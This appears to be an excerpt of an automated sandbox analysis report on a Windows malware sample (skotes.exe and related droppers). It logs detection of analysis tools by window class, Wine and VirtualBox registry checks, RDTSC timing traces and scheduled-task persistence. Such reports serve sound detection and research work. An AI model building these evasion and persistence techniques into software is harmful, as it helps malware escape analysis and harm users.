Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsBAAFIJKKEH.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6478DD second address: 6478E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6478E1 second address: 6478EB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9BD074F0C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6478EB second address: 6478F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6478F7 second address: 6478FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646845 second address: 646868 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 jmp 00007F9BD0B13078h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646868 second address: 646879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F9BD074F0C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646879 second address: 64687F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64687F second address: 646889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646889 second address: 64688D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646E7F second address: 646E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646E89 second address: 646E8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646FF5 second address: 646FF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646FF9 second address: 64703A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9BD0B13078h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9BD0B1306Fh 0x00000012 jmp 00007F9BD0B13072h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64718E second address: 647194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A1D3 second address: 64A1D8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A1D8 second address: 64A223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 793526E4h 0x0000000e push ecx 0x0000000f mov dword ptr [ebp+122D1836h], edx 0x00000015 pop esi 0x00000016 lea ebx, dword ptr [ebp+1244DFF3h] 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007F9BD074F0C8h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 00000015h 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 jmp 00007F9BD074F0CCh 0x0000003b xchg eax, ebx 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A223 second address: 64A227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A2AD second address: 64A2C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9BD074F0D7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A2C8 second address: 64A334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push edi 0x0000000c pushad 0x0000000d mov edi, dword ptr [ebp+122D2B7Bh] 0x00000013 jmp 00007F9BD0B13070h 0x00000018 popad 0x00000019 pop ecx 0x0000001a push 00000000h 0x0000001c or edi, dword ptr [ebp+122D2C37h] 0x00000022 call 00007F9BD0B13069h 0x00000027 jmp 00007F9BD0B13075h 0x0000002c push eax 0x0000002d pushad 0x0000002e jns 00007F9BD0B1306Ch 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F9BD0B13071h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A484 second address: 64A488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A569 second address: 64A56F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AF96 second address: 66AF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668F25 second address: 668F2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668F2B second address: 668F34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669089 second address: 6690AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9BD0B1306Ch 0x0000000f jmp 00007F9BD0B1306Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6690AE second address: 6690BE instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9BD074F0C6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6690BE second address: 6690D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD0B1306Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669231 second address: 66923C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jng 00007F9BD074F0C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66923C second address: 669249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F9BD0B13066h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669249 second address: 669253 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9BD074F0C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6693F7 second address: 6693FD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6697CA second address: 6697E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F9BD074F0C6h 0x0000000a pop edx 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f jo 00007F9BD074F0D2h 0x00000015 jbe 00007F9BD074F0C6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669974 second address: 669993 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F9BD0B13074h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669993 second address: 66999F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9BD074F0C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669B48 second address: 669B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669B4E second address: 669B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669B54 second address: 669B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669B5D second address: 669B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669B61 second address: 669B65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669B65 second address: 669B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F9BD074F0C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669F75 second address: 669F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD0B1306Ah 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669F84 second address: 669F8E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9BD074F0D2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669F8E second address: 669F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639DB4 second address: 639DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639DBA second address: 639DC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639DC0 second address: 639DCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A109 second address: 66A10E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A10E second address: 66A115 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ADF7 second address: 66ADFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ADFB second address: 66AE08 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9BD074F0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AE08 second address: 66AE24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD0B1306Ch 0x00000009 jmp 00007F9BD0B1306Bh 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E320 second address: 66E326 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E326 second address: 66E331 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F9BD0B13066h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CCC4 second address: 66CCCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672080 second address: 6720A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F9BD0B13072h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jbe 00007F9BD0B13066h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678673 second address: 67867F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F9BD074F0C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67867F second address: 6786B4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9BD0B13066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F9BD0B13080h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jl 00007F9BD0B13072h 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6787EC second address: 6787FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD074F0CCh 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678A0A second address: 678A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678A11 second address: 678A21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F9BD074F0C6h 0x0000000a jl 00007F9BD074F0C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678B91 second address: 678B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678B95 second address: 678BA3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9BD074F0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678BA3 second address: 678BA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B302 second address: 67B330 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9BD074F0CCh 0x00000008 jns 00007F9BD074F0C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F9BD074F0D8h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B330 second address: 67B335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B4BD second address: 67B4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B4C2 second address: 67B4D4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9BD0B13068h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B4D4 second address: 67B4D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B5DC second address: 67B5FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD0B1306Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jc 00007F9BD0B13066h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BDA1 second address: 67BDA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BDA5 second address: 67BDC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F9BD0B1306Eh 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BDC1 second address: 67BDC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BED6 second address: 67BEFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9BD0B13079h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BEFB second address: 67BF0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD074F0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BFA2 second address: 67BFAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C1EC second address: 67C1F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C489 second address: 67C4E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD0B13079h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 popad 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F9BD0B13068h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000016h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 mov dword ptr [ebp+122D1AF5h], esi 0x00000039 add edi, dword ptr [ebp+122D2391h] 0x0000003f xchg eax, ebx 0x00000040 push ebx 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C4E5 second address: 67C500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD074F0CBh 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c jbe 00007F9BD074F0D0h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
